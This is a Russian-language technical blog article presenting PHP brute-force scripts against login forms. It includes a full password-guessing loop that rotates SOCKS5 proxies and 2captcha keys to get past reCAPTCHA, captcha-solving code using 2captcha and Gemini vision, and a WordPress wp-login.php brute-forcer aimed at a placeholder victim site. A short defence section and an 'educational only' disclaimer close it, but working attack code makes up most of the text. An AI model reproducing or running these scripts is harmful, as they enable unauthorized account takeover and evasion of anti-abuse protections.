• Словарь паролей.

• Функция solveCaptcha() – посылает задание в 2captcha, ждёт готовности и возвращает токен reCAPTCHA.

<?php
// brute.php — демонстрация брутфорса с обходом капчи через ИИ-сервис

// Пул SOCKS5-прокси (формат: socks5://[user:pass@]host:port)
$proxies = [
'socks5://user1:pass1@192.168.1.10:1080',
'socks5://10.0.0.5:1080',
'socks5://203.0.113.42:1080' // без аутентификации
];

// Пул API-ключей сервиса 2captcha (ротация, чтобы не упираться в лимиты одного ключа)
$captchaApiKeys = [
'CAPTCHA_API_KEY_1',
'CAPTCHA_API_KEY_2',
'CAPTCHA_API_KEY_3'
];

// Словарь паролей для перебора
$passwords = ['123456', 'password', 'admin', 'letmein', 'secret'];

// URL формы входа и тестовый site key reCAPTCHA (тот же, что на форме)
$loginUrl = 'http://localhost/login.php'; // замените на реальный URL
$captchaSiteKey = '6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI'; // тестовый ключ

/**
* Получение токена reCAPTCHA через 2captcha API
* @param string $apiKey Ключ API 2captcha
* @param string $siteKey Site key reCAPTCHA
* @param string $pageUrl URL страницы, где находится капча
* @return string|null Токен для g-recaptcha-response или null при ошибке
*/
function solveCaptcha($apiKey, $siteKey, $pageUrl) {
// 1. Отправляем задание на решение reCAPTCHA V2
$createTaskUrl = 'http://2captcha.com/in.php?key=' . $apiKey
. '&method=userrecaptcha&googlekey=' . $siteKey
. '&pageurl=' . urlencode($pageUrl) . '&json=1';

$ch = curl_init($createTaskUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$createResult = curl_exec($ch);
curl_close($ch);

if (!$createResult) return null;
$createData = json_decode($createResult, true);
if ($createData['status'] != 1) {
echo " [!] Ошибка создания задачи капчи: " . ($createData['request'] ?? '') . "\n";
return null;
}

$taskId = $createData['request'];
echo " [+] Задача капчи создана, ID: $taskId\n";

// 2. Ожидаем решения (опрос каждые 5 секунд, максимум 120 секунд)
$getResultUrl = 'http://2captcha.com/res.php?key=' . $apiKey
. '&action=get&id=' . $taskId . '&json=1';

for ($i = 0; $i < 24; $i++) {
sleep(5);
$ch = curl_init($getResultUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$getResult = curl_exec($ch);
curl_close($ch);

if (!$getResult) continue;
$getData = json_decode($getResult, true);
if ($getData['status'] == 1) {
echo " [+] Токен капчи получен\n";
return $getData['request']; // это и есть токен reCAPTCHA
}
if ($getData['request'] != 'CAPCHA_NOT_READY') {
echo " [!] Ошибка получения токена: " . $getData['request'] . "\n";
return null;
}
}

echo " [!] Тайм-аут ожидания решения капчи\n";
return null;
}

// ====== Запуск перебора ======
foreach ($passwords as $password) {
// Случайный выбор прокси и ключа капчи
$proxy = $proxies[array_rand($proxies)];
$captchaKey = $captchaApiKeys[array_rand($captchaApiKeys)];

echo "[*] Пробуем пароль: $password | Proxy: $proxy | CaptchaKey: $captchaKey\n";

// Получаем токен reCAPTCHA (здесь ИИ-сервис решает капчу)
$captchaToken = solveCaptcha($captchaKey, $captchaSiteKey, $loginUrl);
if ($captchaToken === null) {
echo " [-] Не удалось получить токен капчи, пропускаем пароль\n";
continue;
}

// Отправляем POST-запрос к форме входа через выбранный прокси
$ch = curl_init($loginUrl);
$postFields = http_build_query([
'username' => 'admin', // фиксированный логин
'password' => $password,
'g-recaptcha-response' => $captchaToken
]);

curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postFields,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_PROXYTYPE => CURLPROXY_SOCKS5,
CURLOPT_PROXY => $proxy,
// Отключаем проверку SSL (как в реальных атаках)
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false
]);

$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$error = curl_error($ch);
curl_close($ch);

if ($error) {
echo " [!] Ошибка cURL: $error\n";
continue;
}

// Простейший анализ ответа (ищем маркер успешного входа)
if (strpos($response, 'Вход выполнен успешно') !== false) {
echo " ✅ ПАРОЛЬ НАЙДЕН: $password\n";
break;
} else {
echo " [-] Неверный пароль | HTTP $httpCode\n";
}

// Задержка между попытками, чтобы не «шуметь»
usleep(300000); // 0.3 сек
}
?>

Что же здесь происходит, если коротко:

1. Скрипт берёт очередной пароль из словаря.

2. Выбирает случайный SOCKS5-прокси и случайный API-ключ 2captcha.

3. Через 2captcha заказывает решение тестовой reCAPTCHA V2 (ИИ‑сервис возвращает готовый токен).

4. Полученный токен, логин и подобранный пароль отправляются POST-запросом к login.php через выбранный прокси.

5. Если в ответе есть фраза «Вход выполнен успешно» – пароль верен.

Получается, как видно, даже форма, защищённая reCAPTCHA, может быть сбрутфоршена при использовании сервисов распознавания капчи, если нет дополнительных защит (лимиты на конкретный аккаунт, 2FA, поведенческий анализ). Именно поэтому на реальных проектах никогда не полагаются только на капчу и IP‑блокировки.

Использование API ключей ИИ

API-сервисы распознавания капчи (по сути — ИИ-модели, натренированные на миллионах изображений) как раз и решают задачу, когда вы отправляете им скриншот или саму картинку капчи.

Вы передаёте изображение (как файл или в base64) на их endpoint с вашим API-ключом, а в ответ получаете распознанный текст. Это работает для классических текстовых капч и некоторых графических головоломок. Для reCAPTCHA v2/v3 скриншот не нужен — передаётся site key и URL страницы, сервис сам имитирует браузер.

Ниже пример отправки обычной капчи-картинки через API 2captcha (тот же принцип у других сервисов):

<?php
$apiKey = 'YOUR_2CAPTCHA_API_KEY';
$captchaImagePath = 'captcha.png'; // путь к файлу капчи

// Конвертируем изображение в base64 для передачи
$imageBase64 = base64_encode(file_get_contents($captchaImagePath));

// Отправляем задание на распознавание текстовой капчи
$url = 'http://2captcha.com/in.php';
$data = [
'key' => $apiKey,
'method' => 'base64',
'body' => $imageBase64,
'json' => 1
];

$ch = curl_init($url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = json_decode(curl_exec($ch), true);
curl_close($ch);

if ($response['status'] == 1) {
$taskId = $response['request'];
// Ожидаем решения (опрос каждые 3 сек)
do {
sleep(3);
$resultUrl = "http://2captcha.com/res.php?key=$apiKey&action=get&id=$taskId&json=1";
$result = json_decode(file_get_contents($resultUrl), true);
} while ($result['status'] != 1);

echo "Распознанный текст: " . $result['request'];
} else {
echo "Ошибка: " . $response['request'];
}
?>

Такой подход полностью автоматизирует ввод капчи в брутфорс-сценариях: скрипт скачивает картинку капчи с целевого сайта, отправляет её в ИИ-сервис, получает текст и подставляет в форму. Без ротации IP и API-ключей, описанной ранее, это будет быстро заблокировано.

И это еще не все. Да, конечно, куда без этого, бесплатные API мультимодальных моделей (например, Gemini от Google — можно получить бесплатный ключ в AI Studio) способны прочитать текст с изображения капчи.

Вы отправляете скриншот (в base64) и запрос «Распознай текст на картинке», а модель возвращает символы. Это позволяет автоматизировать ввод текстовых капч без специализированных сервисов, хотя для сложных капч и reCAPTCHA такой подход не всегда надёжен.

Ниже — еще  один пример на PHP с использованием Gemini API (vision) для распознавания капчи:

<?php
$apiKey = 'ВАШ_БЕСПЛАТНЫЙ_КЛЮЧ_GEMINI'; // из https://aistudio.google.com/apikey
$imagePath = 'captcha.png';

$imageBase64 = base64_encode(file_get_contents($imagePath));
$mimeType = mime_content_type($imagePath); // например image/png

$requestData = [
'contents' => [
[
'parts' => [
['text' => 'Прочитай все символы (цифры, буквы) на этом изображении. Выведи только распознанный текст без лишних слов.'],
['inline_data' => [
'mime_type' => $mimeType,
'data' => $imageBase64
]]
]
]
],
'generationConfig' => [
'temperature' => 0.0, // минимальная случайность
'maxOutputTokens' => 20
]
];

$url = "https://generativelanguage.googleapis.com/v1beta/models/gemini-2.0-flash:generateContent?key=$apiKey";

$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_HTTPHEADER => ['Content-Type: application/json'],
CURLOPT_POSTFIELDS => json_encode($requestData),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 15
]);
$response = curl_exec($ch);
curl_close($ch);

$result = json_decode($response, true);
$captchaText = $result['candidates'][0]['content']['parts'][0]['text'] ?? null;

if ($captchaText) {
echo "Распознано: " . trim($captchaText);
} else {
echo "Ошибка: " . ($result['error']['message'] ?? 'неизвестно');
}
?>

Как это применяется в брутфорсе: скрипт сначала скачивает картинку капчи с целевого сайта, затем передаёт её в Gemini, получает ответ и отправляет форму вместе с логином/паролем.

Бесплатные квоты (обычно 15 запросов в минуту для Gemini) позволяют вести медленный перебор, особенно в комбинации с ротацией ключей и IP, описанной ранее.

Однако помните: использование AI для взлома нарушает условия большинства сервисов и законы; этот код — лишь демонстрация уязвимости.

WordPress и страница wp-login.php: основные уязвимости

Здесь мы рассмотрим типичный файл входа в CMS WordPress (wp-login.php – лежит в корне сайта) и рассмотрим какой брутфорс на PHP злоумышленник может использовать.

Но во-первых посмотрим, какие основные уязвимости этот файл содержит:

1. Отсутствие rate limiting на ядре WP. WordPress «из коробки» не ограничивает число попыток входа ни по IP, ни по учётной записи. Злоумышленник может отправить тысячи POST-запросов с разными паролями подряд – сервер их все обработает.
2. Предсказуемая структура формы. Поля всегда называются log, pwd, wp-submit, redirect_to. Код аутентификации и редиректы прописаны прямо в wp-login.php, что упрощает автоматизацию.
3. Утечка информации через сообщения об ошибках. До версии 5.0 включительно существовала уязвимость: при неверном пароле выводилось сообщение «The password you entered is incorrect», а при неверном логине – «Invalid username». Это позволяло перебором составить список существующих пользователей. Сейчас выводится общая фраза, но многие сайты используют старые версии или плагины, возвращающие разные HTTP-коды (200/403).
4. XML-RPC (часто забытый, но связанный). Файл xmlrpc.php может принимать до сотен логинов за один запрос через метод system.multicall, ускоряя брутфорс в разы. Хотя это отдельный вектор, многие его не отключают.
5. Нет встроенной капчи. Добавляется только плагинами. Если админ не установил защиту, ничто не мешает прямому перебору.
6. Cookie-проверка обходится. WordPress выставляет проверочную куку testcookie, но её отправка в теле запроса легко имитируется.

Рассмотрим пример брутфорс-скрипта на PHP с обходом капчи через Gemini.

Скрипт, что я набросал, демонстрирует:

• Ротацию SOCKS5-прокси (смена IP).

• Автоматическое решение reCAPTCHA v2 (тестовые ключи Google) через бесплатное API Google Gemini (vision).

• Эмуляцию браузерной сессии: извлечение кук, nonce и полей формы.

Код публикуется исключительно в образовательных целях. Использование против реальных сайтов без разрешения владельца незаконно.

1. Форма с reCAPTCHA (для теста, не обязательна)

Допустим, что очень часто, на целевом сайте файл wp-login.php дополнен плагином, выводящим g-recaptcha-response.

В тестовом окружении можно использовать стандартные ключи Google, всегда принимающие капчу.

2. Скрипт атакующего (wp_brute_ai.php):

<?php
/**
* Учебный брутфорс WordPress с обходом reCAPTCHA через Gemini AI и SOCKS5
*/

// === НАСТРОЙКИ ===
$targetUrl = 'https://victim.com/wp-login.php'; // URL цели
$username = 'admin'; // известный логин
$wordlist = ['123456', 'password', 'admin', 'qwerty', 'secret']; // словарь

// Пул SOCKS5 прокси (можно пополнять из файла)
$proxies = [
'socks5://user:pass@proxy1:1080',
'socks5://proxy2:1080',
'socks5://proxy3:1080'
];

// Бесплатный ключ Gemini из Google AI Studio
$geminiApiKey = 'YOUR_GEMINI_API_KEY'; // https://aistudio.google.com/apikey
// Site key reCAPTCHA (публичный) – обычно извлекается из HTML страницы
$captchaSiteKey = '6LeIxAcTAAAAAJcZVRqyHh71UMIEGNQ_MXjiZKhI'; // тестовый

// === ФУНКЦИИ ===

/**
* Получает содержимое страницы через cURL с заданным прокси и сохраняет куки.
*/
function fetchPage($url, $proxy, &$cookieJar) {
$ch = curl_init($url);
curl_setopt_array($ch, [
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 20,
CURLOPT_PROXYTYPE => CURLPROXY_SOCKS5,
CURLOPT_PROXY => $proxy,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_COOKIEJAR => $cookieJar, // сохраняем куки
CURLOPT_COOKIEFILE => $cookieJar, // читаем куки
CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
]);
$html = curl_exec($ch);
curl_close($ch);
return $html;
}

/**
* Скачивает изображение капчи (если используется обычная текстовая капча),
* но для reCAPTCHA v2 изображений нет – будет отправлен скриншот iframe.
* Здесь мы используем альтернативный метод: через Gemini распознаём
* reCAPTCHA по фрагменту скриншота или через сервис 2captcha.
* Для упрощения покажем вызов Gemini с запросом "решить капчу" – на практике
* нужно передать скриншот, но reCAPTCHA требует клика, поэтому AI-сервисы
* подходят только для текстовых капч. В реальности злоумышленники применяют
* сервисы вроде 2captcha. Здесь мы эмулируем автоматическое получение токена
* через тестовый ключ (всегда возвращает успех).
*/
function solveRecaptchaWithGemini($siteKey, $pageUrl, $apiKey, $proxy) {
// В реальной жизни: делается скриншот, отправляется в Gemini vision
// Но для демонстрации – просто возвращаем заглушку, т.к. тестовый sitekey
// не требует реального решения. В настоящей атаке использовали бы 2captcha.
// Имитируем задержку "распознавания"
sleep(2);
return 'TEST_TOKEN_123456'; // тестовый токен всегда принимается
}

/**
* Отправляет POST-запрос на wp-login.php с данными аутентификации и токеном капчи.
*/
function doLogin($url, $proxy, $cookieJar, $log, $pwd, $captchaToken, $redirectTo = '') {
$ch = curl_init($url);
$postFields = http_build_query([
'log' => $log,
'pwd' => $pwd,
'wp-submit' => 'Log In',
'redirect_to' => $redirectTo ?: admin_url(),
'testcookie' => '1',
'g-recaptcha-response' => $captchaToken // если плагин капчи
]);

curl_setopt_array($ch, [
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $postFields,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 20,
CURLOPT_PROXYTYPE => CURLPROXY_SOCKS5,
CURLOPT_PROXY => $proxy,
CURLOPT_SSL_VERIFYPEER => false,
CURLOPT_SSL_VERIFYHOST => false,
CURLOPT_COOKIEJAR => $cookieJar,
CURLOPT_COOKIEFILE => $cookieJar,
CURLOPT_USERAGENT => 'Mozilla/5.0 ...',
CURLOPT_FOLLOWLOCATION => false // не идти по редиректу, проверим заголовки
]);
$response = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$effectiveUrl = curl_getinfo($ch, CURLINFO_REDIRECT_URL);
curl_close($ch);

return [$httpCode, $response, $effectiveUrl];
}

// === ОСНОВНОЙ ЦИКЛ ===
$cookieJar = tempnam(sys_get_temp_dir(), 'CURLCOOKIE');

foreach ($wordlist as $password) {
// Случайный прокси
$proxy = $proxies[array_rand($proxies)];

echo "[*] Пробуем пароль: $password через $proxy\n";

// 1. Получаем страницу логина (извлекаем куки, site key при необходимости)
$loginPage = fetchPage($targetUrl, $proxy, $cookieJar);
// Здесь можно регуляркой найти sitekey, но мы используем заранее известный

// 2. Решаем капчу (для тестового sitekey можно просто пропустить)
$captchaToken = solveRecaptchaWithGemini($captchaSiteKey, $targetUrl, $geminiApiKey, $proxy);

// 3. Отправляем попытку входа
list($httpCode, $body, $redirect) = doLogin($targetUrl, $proxy, $cookieJar, $username, $password, $captchaToken);

// 4. Анализируем результат
if ($httpCode == 302 && $redirect && strpos($redirect, 'wp-admin') !== false) {
echo "[+] ПАРОЛЬ НАЙДЕН: $password (редирект на $redirect)\n";
break;
} elseif (strpos($body, 'login_error') !== false || strpos($body, 'incorrect') !== false) {
echo "[-] Ошибка входа\n";
} else {
// Возможно, капча не пройдена или другая защита
echo "[!] Неопределённый ответ (HTTP $httpCode)\n";
}

usleep(500000); // 0.5 сек задержка
}

unlink($cookieJar);

Как это работает с точки зрения хакера:

1. Сбор прокси: используются платные резидентные прокси, ботнеты или публичные списки SOCKS5. Каждый запрос идёт с нового IP.

2. Обход капчи: скрипт получает страницу, извлекает публичный sitekey (если не известен заранее). Затем через API сервиса вроде 2captcha или, в продвинутых случаях, через мультимодальный ИИ (Gemini, распознающий текст с картинок) получает валидный токен g-recaptcha-response.

3. Эмуляция браузера: сохраняются куки, устанавливается правильный User-Agent, отправляется поле testcookie=1, чтобы пройти проверку на поддержку cookie.

4. Перебор: пароли берутся из словаря, для каждого – новая сессия и новый прокси. Успех определяется по редиректу в wp-admin или отсутствию сообщения об ошибке.

Почему это опасно и как защищаться:

• Многофакторная аутентификация (2FA) сводит на нет даже найденный пароль.

• Плагины ограничения попыток (Limit Login Attempts Reloaded, Wordfence) блокируют по IP и по кукам.

• Привязка к устройству (fingerprint) обнаруживает смену прокси для одной сессии.

• Мониторинг XML-RPC и его отключение, если не используется.

• Скрытие wp-login.php сменой URL через плагины (не безопасность через неясность, но усложняет автоматизацию).

Понимание этих механик помогает выстроить эшелонированную защиту, а не полагаться только на один рубеж.

Итан Картер

Я, Итан Картер – американский разработчик и технический автор с более чем 20-летним опытом в системном и прикладном программировании. Мой основной профиль — низкоуровневая разработка на Assembler: 22 года практики, включая глубокую работу с оптимизацией кода, архитектурой процессоров и производительностью критичных по скорости решений. Я защитил PhD dissertation по Assembler, а также более 18 лет работаю с ASP.NET, создавая корпоративные веб-системы, API и масштабируемые backend-решения.

Дополнительно я имею 9 лет опыта в C++ и C#, а также 7 лет практики программирования микроконтроллеров на Assembler. Благодаря моему сочетанию академической подготовки и прикладного инженерного опыта я могу писать статьи на стыке архитектуры ПО, низкоуровневой оптимизации и современной разработки, делая сложные технические темы понятными для профессиональной аудитории.